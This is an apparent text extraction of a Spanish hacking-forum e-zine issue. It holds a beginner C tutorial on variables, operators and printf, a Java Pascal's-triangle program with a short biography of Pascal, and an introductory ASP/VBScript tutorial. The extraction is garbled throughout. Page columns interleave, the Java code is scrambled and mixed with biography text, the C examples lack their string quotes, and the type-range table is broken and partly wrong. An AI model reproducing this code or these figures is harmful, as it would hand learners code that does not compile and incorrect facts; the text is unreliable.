y en el cuarto ejemplo lo que hago es declarar varias variables del mismo tipo en una sola lnea, cada variable esta separada de la otra con una coma (,) y cuando terminamos ponemos punto y coma (;), ese ultimo ejemplo es lo mismo a haber hecho: int tuto; int articulo_2; int C; como dije, pueden ponerle el nombre que quieran, pero se recomienda (creo que es obio) que le pongan un nombre deacuerdo al uso que se le va a dar, por ejemplo, si va a tener la edad del usuario, no la llamen mi_ventilado xD, llmenla edad. Hay 2 lugares donde podemos declarar a la variable, afuera de las funciones (variable global) o dentro de una funcin (variable local), la diferencia es que si es global, esa variable va a estar para todas las funciones que declaremos (mas tarde vamos a ver como crear nuestras propias funciones), osea, desde cualquier funcin podemos acceder a ella directamente (por lo que no se puede declarar otra variable con el mismo nombre en alguna funcin, ya que estara repetida); en cambio las locales solo van a estar para la funcin en donde la declaramos y entonces se puede declarar en otras funciones con el mismo nombre. Como quiz no se entendi ac muestro unos ejemplos: #include <stdio.h> main() { int variable_local; /*... ac hacemos lo que queramos ...*/ } otro ejemplo: #include <stdio.h> int variable_global; main() {

Hacking Newbie
Programar Con C
/*... ac hacemos lo que queramos ...*/ } y el ltimo: #include <stdio.h> int variable_global; main() { int variable_local; /*... ac hacemos lo que queramos ...*/ } se darn cuenta que por ahora es lo mismo que sea global o local ya que solo tenemos la funcin main, pero cuando tengamos mas funciones se va a notar la diferencia. Tambin hay variaciones en los tipos, pueden ser signed (con signo) o unsigned (sin signo). Lo que hay que hacer es poner declararla de esta manera: SIGNEDunsigned TIPO NONBRE; ejemplo: unsigned int pepito; por defecto, las variables son signed, osea, pueden ser positivas o negativas, por lo que es innecesario aclarar que son signed. Ahora que ms o menos sabemos de variables les pongo una tabla con todos los tipos que hay, su caracterstica, etc. Tipo int unsigne d int char unsigne d char short unsigne d short long unsigne d long float double Byte s * * 1 1 Nombre entero simple entero simple sin signo entero tipo char entero tipo char sin signo entero corto entero corto sin signo entero largo Rango de valores Depende del sistema Depende del sistema -128 a 128 0 a 255

CUH e-zine 3 Edicion


Algo a tener en cuenta, cuando queremos poner un nmero con decimales, hay que usar el punto (.) y no la coma, y no hay que separar los miles, por ejemplo: 1.290.214 MAL 1290214 BIEN 123.124532 BIEN (en este caso 124532 serian decimales) 123,124532 MAL Cada variable tiene una longitud, por lo que hay variables que ocupan mas espacio que otras, por lo que si necesitan guardar la edad de alguien, no declaren un long double xD. El tipo char es til para caracteres, los caracteres van del 0 al 255 (espero no confundirme con lo que estoy diciendo) y el carcter z es el 122 (si mal no recuerdo) despus de la z vienen caracteres que no son ni letras ni nmeros, por lo que el valor de la letra se puede almacenar en el tipo char, pero es mejor que se use unsigned char, ya que as tenemos capacidad para todos los caracteres (recuerden que char va de 128 a 127 y unsigned char de 0 a 255). Para usar nmeros decimales, estn los tipos float y double, asique cuando tenga decimales declaren float o double (o long double si es muy grande el numero). Bien, espero que hayan entendido sobre las variables, lo que les voy a mostrar ahora es como jugar con las variables, osea, asignarles un valor, sumar, restar, y mas. Hay operadores de suma, resta, divisin, multiplicacin, y mas, cuando se termina de hacer toda la operacin hay que poner punto y coma (;), el que asigna un valor a una variable es el =, le va a asignar lo de lo de la derecha a la variable de la izquierda, por ejemplo si declaramos char c podemos hacer c = a; o bien, c = 97; daran el mismo resultado, ya que al hacer a lo que hace el compilador es cambiar esa letra por el valor que le corresponde. Es ilegal hacer algo como 2 = 100; ya que 2 es una constante y no se le puede asignar un valor a una constante xD. Ahora una tabla con los operadores: + suma resta * multiplica / divide % saca el resto & operador AND | operador OR ^ operador XOR >> desplazamiento a la derecha << desplazamiento a la izquierda no hay uno para potencia, para eso hay una funcin (algn da se las mostrare xD) el de sacar resto lo que hace es devolver el resto de

2 2 4 4 4 8

-32.768 a 32.767 0 a 65.535

long double

10

-2.147.483.548 a 2.147.483.547 entero largo 0 a 4.294.967.295 sin signo real simple 3.4E 38 (7 dgitos) precisin ejemplo 183,403 real doble 1.7E 308 (15 precisin dgitos) ejemplo 1.375,93071584 real doble 1.2E 4932 (19 largo dgitos) ejemplo 34145,14631345673

Hacking Newbie
Programar Con C
una divisin, osea, si hacemos 5 % 2 dara 1, si hacemos 4 % 2 dara 0. Seguramente no saben que es AND, OR y XOR, como yo en el momento que lo le, asique voy a tratar de explicarles: los operadores AND, OR, XOR y los de desplazamiento son operadores bit a bit, osea, trabajan bit a bit, el de AND lo que hace es como si fuera una multiplicacin bit a bit, en realidad lo que hace es, si son 0 en los 2 resultados deja 0, si es 1 y en el otro 0 deja 0 y deja 1 si son 1 en los 2, ejemplo: 10010111 & obviamente) 00011100: (nmeros en binario

CUH e-zine 3 Edicion


2 = 10 ==> 10000 se llena con ceros, se desplazo 3 lugares y se llena con 0, y el otro es lo mismo: 5 >> 2 nos dara: 5 = 101 ==> 1 porque sacamos los 2 bits. hay que aclarar una cosa, si hacemos una operacin que da como resultado 0.5 (por ejemplo 1 / 2) y se lo asignamos a un tipo int, solo va a aceptar el entero, osea, el 0, por lo que quedara 0, si hiciramos algo que nos de 3.2 y se lo asignamos a int (o bien a un char, osea, cualquiera que no sea no float ni double) le va a asignar 3. ejemplos de operaciones (obviamente van en una funcin, solo que para ahorrar espacio solo pongo lo interesante): int i; float asd; i = 2; i = i / 2; /*como al hacer i / 2 no se le asigna a ninguna variable el resultado, hay que hacer i = i / 2 para indicar que se divida por 2 a i y que se le asigne a i ese resultado*/ f = (123.5003 + 100) * 4;/*como * en matemtica tiene mas poder usamos los parntesis para que ejecute primero la suma y despus la multiplicacin*/ Como dije, despus de hacer toda la operacin hay que poner ; para indicar que hasta ah es la operacin. Para indicar que el numero que estamos escribiendo esta en sistema hexadecimal, hay que poner 0x (cero y la letra equis) antes del numero, ejemplo 0x4F , 0x10, 0xFF ... Ahora que sabemos sobre los operadores vamos a hacer un programita que juege con ellos, antes voy a aclarar que la funcin printf acepta muchos argumentos, desde 1 hasta infinito (no hasta infinito, seguro que hay un tope), esta es una de las pocas que acepta esto (solo conozco 6 que aceptan esto), las otras funciones tienen argumentos fijos, osea, si requiere 3 argumentos hay que poner los 3, ni uno mas ni uno menos. En la cadena que le introducimos en el primer argumento podemos ponerle algunas cosas (no se como llamarlas xD) que sern cambiadas por los argumentos siguientes, estas cosas son: %d %f %c %s %x - % X %% un numero entero un numero flotante (sirve tanto para float como double) un carcter Una cadena Un numero en sistema hexadecimal (si se pone %x las letras las pone en minsculas y si se pone %X las letras en mayscula pone el smbolo % (esto no lo cambia por

10010111 AND 00011100 -------00010100 <-- resultado yo para acordarme es como que multiplica, ya que como solo un bit puede ser 1 o 0, cualquier multiplicacin por 0 da 0, asique la nica manera de que deje 1 es cuando es 1 en los 2 nmeros. el OR es una suma bit a bit, en realidad va a dejar siempre 1 excepto que sea 0 en los 2 nmeros, pero yo lo tomo como una suma, cuando es 1 y 1 dara 2 la suma xD, pero yo me acuerdo y se que va a dar 1, ejemplo: 10010111 | obviamente) 00011100: (nmeros en binario

10010111 OR 00011100 -------10011111 <-- resultado al XOR no le encontr una operacin matemtica xD, lo que hace es dejar 0 si es el mismo nmero en los 2 lados y 1 si es diferente, si hacemos 2 ^ 2 (en decimal) nos quedara 0, ya que es como hacer: 10 XOR 10 -00 otro ejemplo: 10010111 | obviamente) 00011100: (nmeros en binario

10010111 XOR 00011100 -------10001011 <-- resultado los de desplazamiento desplazan una cantidad de bits a la derecha o a la izquierda, por ejemplo 2 << 3 nos dara:

Hacking Newbie
Programar Con C
nada, esto existe porque sino si queremos poner por ejemplo 10%de inters, dara cualquier cosa, entonces ponemos 10%%de inters) creo que no hay ms, lo que hay que hacer es escribir eso en medio de la cadena y luego agregarle argumentos, estos se van a mostrar en orden, como se que no se entendi, ac un ejemplo: #include <stdio.h> main() { printf(el carcter %c equivale al numero %d\n\ncadena=%s\nflotante = %f, b, b, esto es una cadena, 123.435); getchar(); } como dije en el primer artculo, los espacios y la nueva lnea no afecta, seguro que la funcin printf la van a ver en varios renglones, eso no importa, pero si hay un inconveniente, una cadena no se puede escribir as: asd asd si una cadena la van a escribir en varios renglones (eso no significa que se va a mostrar en varios renglones, para eso se utiliza el carcter de escape \n) hay que hacer as: asd asd que seria lo mismo que hacer asdasd, para poner un espacio hacen: asd asd esto lo digo para que lo sepan y porque estoy seguro que en el PDF se va a ver en varios renglones y sin seguir esta regla, esto es porque en donde lo estoy escribiendo lo veo bien xD, pero cuando se pase quizs se vea mal, entonces si se ve .... .... esta mal, ustedes lo tienen que hacer todo seguido o bien, como explique arriba. bueh, volviendo a la funcin printf, los argumentos van a mostrarse en orden, lo que indica %d o %c es como se muestra, yo en el ejemplo puse en los 2 primeros segundos argumentos un carcter, pero en la cadena del primer argumento puse primero %c y despus %d, como b va a devolver un numero, con el %c la funcin va a escribir el carcter correspondiente a ese numero, y con %d va a escribir ese numero, y despus lo dems esta claro, creo. Si usramos variables podramos hacer lo mismo pero en vez de poner, por ejemplo b podramos el nombre de la variable donde este ese valor y dara el mismo resultado (por ahora el de la cadena no lo pueden hacer con variables) hay unas cosas que podemos cambiar, por ejemplo poniendo %3d mostrara solo 3 dgitos del numero,

CUH e-zine 3 Edicion


en %f podemos decirle cuantos decimales poner, si ponemos %.2f mostrara solo 2 decimales, si ponemos %2.f mostrara solo 2 de los enteros y todos los decimales, y si hacemos %2.2f mostrara 2 del entero y 2 decimales, y lo mismo para la cadena, mostrara solo 2 caracteres o el nmero que pongan. Vamos a hacer un programa un poco ms interesante usando lo que aprendimos: #include <stdio.h> int g; main() { /*ac estara MAL hacer algo como char g o int g, ya que ya esta declarada la g*/ unsigned char c; float f; int i; /*obviamente los pueden llamar como quieran*/ c = a 10 + 5; f = 0.33333; i = c + f; /*como f no va a modificar nada ya que el resultado que de va a dar algo como xxx.33333 como i es int solo se va a asignar xxx, pero lo hago para que vean ejemplos*/ g = (c & i) * 2; f = f + 11.1; printf(\t%s: g = %d, c = %c (%d), f = %.2f, i = %d\n, los valores por ahora son, g, c, c, f, i); /*ac lo mismo que dije antes, si se ve en vario renglones...*/ printf(sumando todos los valores %.2f, g + c + f + i); getchar(); }

en el ultimo printf sumo todos los valores y muestro ese resultado sin asignrselo a ninguna variable, el propsito de este programa es para que vean como funciona printf (espero que hayan entendido) y como operar con las variables, por si no lo recuerdan, el carcter \t es el tabulador y lo que este entre /* */ es un comentario y no es tomado en cuenta por el compilador. Espero que hayan entendido algo sobre las variables, como operar con ellas y como usar printf. Esto es todo por este articulo, me quede sin hojas xD, en el prximo vamos a ver un poco mas sobre como operar con las variables y como obtener datos del teclado y operadores de flujo. Nos vemos en el prximo artculo.salu2! Ni0

Programacion
Triangulo de Pascal

CUH e-zine 3 Edicion

TRIANGULO DE PASCAL By Varios


TRIANGULO DE P ASCAL EN JA VA

Para el que no sepa el triangulo de Pascal se usa para encontrar los coeficientes numericos en una formula de binomios ,

Cdigo:
import java.io.*; // sirve para entrada de datos, es como el <stdio.h> de C class TrianguloPascal{ public static BufferedReader entrada=new BufferedReader(new InputStreamReader(System.in));

Para el que no sepa el triangulo de Pascal se usa para encontrar los coeficientes numericos en una formula de binomios , un ejemplo de esto seria:

public static void main(String arg[])throws IOException{ Repetir(); }

2 2 2 (a+b) = a + 2ab+ b Con el triangulo de Pascal podemos encontrar los coeficientes que multiplican a cada valor en la formula en este caso serian:

public static void Repetir()throws IOException{ System.out.print("\n\nIngrese el exponente del binomio para generar coeficientes: "); int exponente = Integer.parseInt(entrada.readLine());

2 1,2,1 porque 1a+ 2ab + 1b .

2 }

ImprimeTrianguloPascal(exponente);

Los valores que se usan del triangulo son los de la ultima linea ya que se van imprimiendo todos los valores desde el exponente = 0 hasta el exponente = n ; donde n va a ser igual al exponente que deseen. Aqui les dejo el code y cualquier aclaracion con respecto al codigo no dude en postear:

public static void ImprimeTrianguloPascal(int exponente)throws IOException{

int indice = 0,contador;

// Mostramos el primer 1 del trigulo for(int i=0; i<=exponente+1;i++){ System.out.print(" "); }

Programacion
Triangulo de Pascal
System.out.println(1); if(exponente != 0) for(int i=1; i<=exponente; i++) // Generamos el tringulo de Pascal while(indice<exponente){ contador = indice+1; } for(int i=0; i<=exponente-indice;i++){ System.out.print(" "); } POR: P3ll3 for(int i=0; i<=contador;i++){ combinatoria(contador,i); } Blaise Pascal Nacido en Clermont (Francia), qued hurfano de madre a los 3 aos. En 1632 se traslad a vivir a Pars. El padre de Pascal tena unas opiniones poco ortodoxas sobre la educacin, por lo que l se dedicaba a ensear a su propio hijo. Unas de dichas opiniones era que Pascal no deba estudiar matemticas, pero esto produjo en Pascal curiosidad que le llev a estudiarlas a espaldas de su padre. En 1639 la familia Pascal se traslad a vivir a Rouen, donde haban destinado al padre como recaudador de impuestos. Para ayudar a su padre en su trabajo, Pascal invent uno calculadora mecnica. Trabaj varios aos en este proyecto hasta perfeccionarla, a la mquina se la conoci como la Pascalina. } return factorial; factorial = factorial*i;

CUH e-zine 3 Edicion

System.out.println("");

indice++; } System.out.print("\nDesea continuar[s/n]: "); String cont = entrada.readLine(); cont = cont.toLowerCase(); if (cont.equals("s")){ Repetir(); }else{ System.exit(1); } } public static void combinatoria(int exponente, int k)throws IOException{ int combinatoria;

combinatoria = factorial(exponente)/(factorial(k)*factorial(exponentek)); System.out.print(combinatoria+" "); }

Se construyeron y comercializaron varios ejemplares de la mquina que estaba pensada para clculos con la moneda francesa. Esto hace que Pascal fuera la segunda persona tras Schickard en inventar una calculadora mecnica.

"Si Dios no existe, uno no perder nada creyendo en l, mientras que si l existe, uno perder todo por no creer".
public static int factorial(int exponente)throws IOException{

Blaise Pascal

int factorial = 1 ;

Programacion
Programar en ASP

CUH e-zine 3 Edicion

PROGRAMAR EN ASP By rOnNydInHo


APRENDIENDO A PROGRAMAR EN ASP Hola amigos de el-hacker.com, este manual que vern a continuacin es el inicio de una serie de manuales acerca de cmo programar en ASP, esperamos que le sea de su agrado. Contiene los primeros pasos del ASP , as como su correcta escritura y dems. Poco a poco se ir aumentando su nivel de dificultad. NOTA: Puede verificar ms abajo las otras entregas de este manaul en futuras ediciones de la revista CUH-Ezine. Un saludo y que lo disfruten. Dicho as te preguntars donde est la diferencia con el IDC. Pues la diferencia estriba en que el IDC dispone de instrucciones muy reducidas: una sencilla toma de decisiones del tipo si/no y poco ms, mientras que ASP pone a disposicin del programador todos los recursos de varios lenguajes de secuencias de comandos: el Visual Basic Script (en lo sucesivo VBScript), que es una variante del potente Visual Basic, JavaScript, Perl y otros, incluso mezclados dentro del mismo programa. Slo hay que cargar el motor de comandos correspondiente en el IIS, y configurarlo correctamente. Y por supuesto, el HTML tambin est presente. El resultado de esta mezcla de lenguajes, junto con algunas prestaciones aadidas al IIS, es lo que genricamente se conoce como ASP , que como puedes ver, en realidad no es un lenguaje, sino una forma de construir programas utilizando uno o varios lenguajes (en versin script) junto con el HTML, que sigue siendo imprescindible, ya que es el nico que entienden los navegadores. En mquinas con sistema operativo UNIX o LINUX el equivalente al ASP es el JSP o el PHP , aunque tambin existen versiones para Windows de stos, pero no son nativos. No tiene mucho sentido utilizar ASP para escribir pginas de contenido esttico, aunque se puede hacer. La verdadera utilidad se descubre cuando tenemos que construir aplicaciones complejas, como dialogar con una base de datos: en ese trabajo, ASP se muestra capaz de resolver casi cualquier cosa que podamos necesitar de forma rpida y sencilla (hasta donde ello es posible), pudiendo adems elegir el lenguaje ms apropiado para cada cosa; por ejemplo podremos: avanzar o retroceder registro a registro en una tabla, paginar grupos de registros en una consulta, filtrar cualquier tipo de datos de un formulario, escribir y leer en ficheros externos a la DB, realizar clculos numricos con coma flotante, manipular cadenas de texto, generar cualquier tipo de apariencia HTML, aadir, modificar o eliminar registros de una tabla, etc., etc. Para escribir pginas ASP , solo necesitamos, como viene siendo habitual en esta obra, un sencillo editor de textos como el bloc de notas, aunque en esta ocasin sera preferible contar con un editor algo ms avanzado que provea de numeracin de lneas, ya que el debugger (programa de depuracin de errores) de ASP emite sus mensajes de error indicando el nmero de lnea del programa donde se produce el fallo. Una pgina ASP es un fichero de slo texto que contiene las secuencias de comandos del lenguaje

Qu es el ASP? Un poco de retrica. Aqu comienza la parte ms complicada del diseo de pginas web. Es muy conveniente que, si vas a programar pginas ASP , tengas algunos conocimientos previos de programacin, preferiblemente en programacin orientada a objetos (por ejemplo Access Basic o Visual Basic). Tambin es recomendable que, aunque no vayas a utilizarlo, leas el tema de aplicaciones con el IDC, ya que los principios bsicos de conexin y conceptos generales son vlidos para el ASP. Si no sabes nada de programacin, plantate si con el IDC puedes resolver tu problema; y si el IDC no es suficiente, preprate para adentrarte en un tortuoso laberinto del que no siempre se puede salir. La complejidad de estas tcnicas es bastante alta, y a los problemas que te van a surgir en la escritura del cdigo ASP , hay que sumarle los que te pueda presentar la correcta configuracin del IIS y su administracin. Introduccin al ASP. Suponiendo que ya has leido la introduccin a las aplicaciones en internet, puede definirse el ASP (Active Server Pages, o lo que es lo mismo: pginas activas en el servidor) como un "modo" de escribir aplicaciones de internet, y que, al igual que ocurre con las escritas para el IDC, se ejecutan en el servidor, enviando a los clientes HTML estndard.

Programacion
Programar en ASP
elegido, junto con el HTML necesario, y que se guarda con la extensin .asp Al ser llamado por el navegador, el motor ASP del IIS se encarga automticamente de depurarlo y ejecutarlo como se suele hacer con un programa cualquiera, pero cuya salida siempre ser a travs del navegador que le invoca. El lenguaje de secuencia de comandos predeterminado del IIS es el VBScript, aunque puede cambiarse. Hasta aqu la cosa no parece muy complicada, y que todo se va a limitar a usar algunos comandos nuevos, pero es porque todava no hemos hablado de lo que realmente le da potencia al lenguaje de secuencias de comandos que utilicemos, sea indistintamente VBScript o JavaScript: los objetos y componentes de ASP. En efecto, VBScript o JavaScript no tienen funciones intrnsecas que les permitan acceder a datos, pero s son capaces de utilizar los objetos y componentes de ASP para este fin.... y con esto comienzan las dificultades de programacin. Ya no se trata de utilizar un comando cualquiera y recoger el resultado, el uso de objetos es algo bastante ms complicado.... y seguramente ya te estars preguntando que ser eso de "objetos" y "componentes".... Para definir los objetos hara falta todo un libro, as que nos limitaremos a considerarlos como unos elementos a los que se puede recurrir desde ASP y que nos ahorrarn tener que escribir gran cantidad de cdigo para, por ejemplo, conectar con una base de datos, o leer un fichero cualquiera. Nos limitaremos aqu a saber de qu objetos podemos disponer y para qu sirven. Pero el ASP no funciona slo con los objetos; tenemos todos los comandos del VBScript, JScript, o Perl que nos permitirn manipular y controlar de mil maneras los datos (siempre en el servidor, recuerda). Pero antes de utilizar todas estas herramientas, veamos en que consiste una pgina ASP sencilla. Cmo se escribe el ASP? Una pgina ASP sencilla Una pgina ASP se escribe igual que una HTML normal, y es muy parecida a las escritas para el IDC, ya que las secuencias de comandos se escriben entre los smbolos <% y %> pero dando a los ficheros la extensin .asp <%@ LANGUAGE="VBScript" %> <HTML> <HEAD><TITLE>Prueba de ASP</TITLE></HEAD> <BODY> Bienvenidos al ASP . Son las <% Response.Write( Time() ) %> </BODY> </HTML> El cdigo de arriba es una sencilla muestra de ASP . Como puedes ver, salvo la primera y la quinta lneas no tiene nada que no conozcamos ya. Analicemos esas dos lneas:

CUH e-zine 3 Edicion


La primera es la definicin del lenguaje de comandos que vamos a utilizar, en este caso VBScript; la arroba que hay al principio (@) indica que la pgina se debe ejecutar en el servidor y no en el navegador, que slo debe recibir el resultado. En la quinta lnea ya tenemos un objeto (Response respuesta-) con uno de sus mtodos (Write -escribir-). El objeto Response es el que gestiona la salida para el navegador, y su mtodo Write el encargado de escribir esa salida, dicho de otro modo, el conjunto Response.Write() escribir en la pantalla del cliente el resultado generado por los comandos ASP , en este caso la hora proporcionada por la funcin Time() Fjate en que el valor real de la quinta lnea es compuesto: por una parte est la frase "Bienvenidos al ASP. Son las " y por otro una secuencia de comandos que da la hora del servidor. El motor ASP se encargar de ejecutar los comandos y componer el texto final con las dos cosas antes de enviarlas al navegador del cliente. Response.Write() es muy utilizado en ASP , ya que cualquier variable, valor o cadena de texto tiene que ser visualizada mediante este objeto, para abreviar se puede usar el signo igual (=) con el mismo resultado. En nuestro ejemplo de la quinta lnea podra ser: Bienvenidos al ASP. Son las <% = Time() %> Response.Write() no slo muestra el resultado de funciones como Time() (hora), Date() (fecha), o cualquier otra; podemos escribir cualquier valor para que sea visualizado, como cadenas de texto puras, cadenas concatenadas con constantes, funciones anidadas, variables de sesin, variables de aplicacin, respuestas de otros objetos, cdigo HTML, etc., etc., y por supuesto, podemos invocar el objeto Response tantas veces como sea necesario. En el caso de que se quieran presentar dos datos concatenados (enlazados, unidos) en HTML, simplemente escribiramos uno al lado del otro, pero en ASP hay que echar mano de un carcter especial: el ampersand (&). As. en el ejemplo, si en lugar de presentar slo la hora, quisiramos ver la hora y el dia, habra que escribir: Bienvenidos al ASP. Son las <% = Time() & " del dia " & Date() %> Si lo que se trata de concatenar es un string (cadena de texto) que contiene comillas dobles, se puede hacer de dos formas: utilizando la funcin Chr() o escribiendo dos pares de comillas en lugar de uno. Por ejemplo si queremos concatenar la cadena: Esto es un con la cadena "string" que va entrecomillada, se escribir: <% = "Esto es un "& "" string "" %> O tambin: <% = "Esto es un " & Chr(34) & " string " & Chr(34) %>

Programacion
Programar en ASP
Y en ambos casos este sera el resultado: Esto es un "string" El argumento 34 que se le ha dado a la funcin Chr() es el que le corresponde al carcter que queremos obtener. Este truco puede utilizarse para obtener cualquier carcter, pero sobre todo est indicado cuando hay que enviar caracteres especiales al cliente, pero no queremos que sean interpretados por l, tales como " % & y otros. Otro truco que se utiliza al escribir ASP , es el truncamiento de lneas. Por ejemplo, si tienes que escribir una lnea de comandos o strings que es muy larga, para evitar que el editor tenga que hacer scroll (desplazarse) por la derecha, cosa que dificulta despus la lectura y revisin del cdigo escrito, se puede utilizar el carcter de subrayado para indicar a ASP que la lnea que viene justo debajo debe ser considerada como una misma lnea. As <% Response.Write("Este es un string de muestra que hay que concatener con otro, pero es demasiado largo y "&_ "recurriremos al carcter _ para que resulte ms legible") %> Recuerda que entre la primera y la segunda lnea no puede haber ninguna en blanco, ni tampoco un comentario; tienen que estar juntas. Se puede utilizar el truncamiento cuantas veces sea necesario. Como ya habrs visto, siempre que se utilizan strings (cadenas de texto), hay que escribirlas entre comillas dobles ("). Si se trata de nmeros no hay que escribirlos entrecomillados, y si se trata de fechas, se escriben entre smbolos #. En el siguiente ejemplo se representan un string, un nmero y una fecha, por ese orden: <% Response.Write( "Esto es un texto" ) Response.Write( 50 ) Response.Write( #01/15/2008# ) %> Y a propsito de las fechas, en ASP y VBScript, el nico formato reconocido es INGLES-ESTADOS UNIDOS, sin tener en cuenta la configuracin regional del usuario. Es decir, el formato que se reconoce es mm/dd/aaaa. As en el ejemplo de arriba, tenemos el da 15 de Enero de 2008. Lo que obliga a realizar las conversiones necesarias para el formato europeo de dd/mm/aaaa. Un poco de programacin Ahora que ya sabes cmo es bsicamente una pgina ASP , veamos cual es la mejor manera de no perderse al escribir aplicaciones complejas. Al igual que cuando se disea una pgina html cualquiera, hay que tener claro lo que se quiere

CUH e-zine 3 Edicion


hacer.... pues con ASP mucho ms. Un cambio de idea en HTML no suele dar demasiados problemas, pero un cambio de idea en programacin en general y en ASP en particular, puede acabar obligando a reescribir la aplicacin... lo malo es que esto puede suceder muy a menudo... Como ya se ha dicho, la programacin de gestin es algo que tiende al caos con pasmosa rapidez, y el cambio de criterios salta cuando menos lo esperas. Para evitar en lo posible el tener que reescribir constantemente los programas, lo mejor es escribirlos de forma estructurada, es decir, evitar en lo posible escribir cdigo en la forma "todo revuelto", y si hay que hacer algun cambio, que sea posible limitarlo a invocar una rutina en lugar de otra. Sera como construir el programa con piezas prefabricadas, donde cada una de las cuales hace una cosa diferente. En realidad en esa misma idea estan basados los objetos a los que se ha hecho referencia antes. Adems de construir rutinas o mdulos de programa, podemos escribir partes del texto HTML de uso repetitivo (por ejemplo mensajes de error, formularios, textos de ayuda, cabeceras de publicidad, membretes, etc.) en ficheros aparte, e incluirlos cuando sea necesario. Esto tiene varias ventajas: Se simplifica el mantenimiento del programa, slo hay que escribir el texto en cuestin una vez, si luego hay que cambiarlo, no es necesario ponerse a "bucear" entre cientos de lneas... y dejarnos siempre alguna sin cambiar: con editar un solo fichero realizamos el cambio en todas partes. Para esto se utilizan las includes de ASP. Imagina que al ejemplo ASP del principio, fuera necesario ponerle algun prrafo adicional, como el logo de la empresa o cualquier otra cosa: Slo tenemos que escribir un fichero con el texto o cdigo necesario, y guardarlo con la extensin .inc, aunque tambin pueden guardarse con la extensin .asp igual que el fichero principal. Los ficheros de inclusin pueden ser de dos clases: file y virtual. Se escriben igual, pero los primeros se referencian mediante su ruta real en el disco del servidor, por ejemplo: "C:\asp\aplicaciones\logo.inc" y los segundos mediante su ruta virtual en el rbol del web, como "/miapliacacion/includes/logo.inc" La llamada a una include se escribe como un comentario de HTML. Esta es la sintaxis de una include virtual en el ejemplo anterior: <%@ LANGUAGE="VBScript" %> <HTML> <HEAD><TITLE>Prueba de ASP</TITLE></HEAD> <BODY> <!--#include virtual="/miapliacacion/includes/logo.inc"--> Bienvenidos al ASP. Son las <% Response.Write( Time() ) %> </BODY> </HTML>

Programacion
Programar en ASP
Cuando el motor ASP detecta una include, busca el fichero en la ruta que se haya especificado, inserta su contenido en lugar de la instruccin, y continua con el resto de comandos secuencialmente. Si se produce un error en el cdigo de una include, el debugger nos dar el nmero de lnea como si su contenido hubiese estado escrito en el fichero principal. Los ficheros de inclusin no tienen los elementos tpicos del HTML como <BODY>, <HEAD>, etc., eso debe ir en el fichero principal. Las includes son simples trozos del cdigo que se guardan en otros ficheros, y aunque no veamos su contenido al editar el fichero principal, ASP los lee y depura como si solamente hubiese un nico fichero. Es como escribir un archivo de formato .js o .css no es necesario especificarle que es un javascript ni un style css respectivamente. ATENCION: Los ficheros de includes tienen un grave problema de seguridad si se guardan con la extensin .inc. Como ya sabemos, el IIS no muestra el cdigo interno de un fichero .asp, sino que lo ejecuta como un programa, y es el HTML resultante de esa ejecucin, realizada dentro del servidor, lo que se envia al cliente. Esto no ocurre con los ficheros .inc, de forma que si un cliente conoce la ruta donde reside un fichero .inc, y lo solicita, el servidor se lo enviar sin ejecutarlo previamente, por lo que se podr ver el cdigo fuente. Si el fichero de include contiene claves de acceso a bases de datos, o alguna otra informacin confidencial, sta quedar al descubierto. As pues, los ficheros con extensin .inc solamente deben utilizarse para contenidos "tontos", como cabeceras, grficos, botonerias, logos, etc., y si contienen cdigo sensible, se deben guardar con la extensin .asp Otra forma de estructurar las aplicaciones puede ser escribir mdulos en VBScript o JavaScript de forma independiente, de manera que el control del programa se escribe en HTML y mediante comandos Call() se invocan las distintas rutinas o mdulos en el momento oportuno. Por ejemplo: <SCRIPT LANGUAGE=VBScript RUNAT=Server> Public Sub Rutina_hora '------Aqui se obtiene la hora Response.Write( Time() ) End Sub </SCRIPT> <HTML> <HEAD><TITLE>Prueba de ASP</TITLE></HEAD> <BODY> Bienvenidos al ASP. Son las <% Call(Rutina_hora) %> </BODY> </HTML> En este caso el mdulo Rutina_hora es muy sencillo, pero si la aplicacin tiene 15 20 mdulos de un montn de lneas cada uno, esta forma de escribir te permite ver ms claramente las cosas. Con este estilo analizaremos ms adelante una aplicacin completa.

CUH e-zine 3 Edicion


Fjate en que hay algunas diferencias entre este ejemplo y el anterior, aunque hacen lo mismo. Concretamente en la primera lnea ha desaparecido la arroba que indicaba la ejecucin del cdigo en el servidor. Ahora se indica tambin, pero con la instruccin RUNAT=Server. Otra cosa interesante est en la tercera lnea: '------Aqui se obtiene la hora Esto es un comentario. En efecto, en el entorno de VBScript, los comentarios no se escriben como en HTML, sino escribiendo un apstrofe (' OJO esto no es un acento) y a continuacin el texto que se desea comentar. La indicacin de comentario ser efectiva hasta que se escriba un retorno. Se pueden (y se deben) escribir cuantos comentarios se estimen necesarios. El servidor ignorar el texto marcado como tal en el momento de la ejecucin del programa. El cliente no recibir nada de esto, ya que todo ocurre en el servidor. El cliente solamente recibe esto: <HTML> <HEAD><TITLE>Prueba de ASP</TITLE></HEAD> <BODY> Bienvenidos al ASP. Son las 18:00:00 </BODY> </HTML> Este tutorial ha sido editado nicamente para la revista CUH-Ezine del foro http://foro.el-hacker.com Crditos: Editado por rOnNyLdInHo NOTA: Prximas entregas: Un modelo de aplicacin ASP Nociones de ASP Objetos de ASP 1. 2. 3. 4. 5. 6. Application ASPError Session Request Response Server 1. CreateObject("ADODB.Connectio n") CreateObject("ADODB.Recordset ") 2. CreateObject("Scripting.FileSyste mObject") 3. GetFile() - GetFolder() 7. ObjectContext

Esperamos que sea de su agrado este manual para aprender a programar en ASP , las prximas entregas se ir aumentando el nivel de dificultad, por lo tanto le recomendamos que lea muy bien este manual, que lo repase cuantas veces sea necesario, y que si tienes algunas dudas por favor escriba a ronnyldinho@hotmail.com Hasta la prxima entrega. Saludos!

Programacin web
Tabla de cdigos de caracteres HTML

CUH e-zine 3 Edicion

Tabla de codigos de caracteres By rOnNyLdInHo


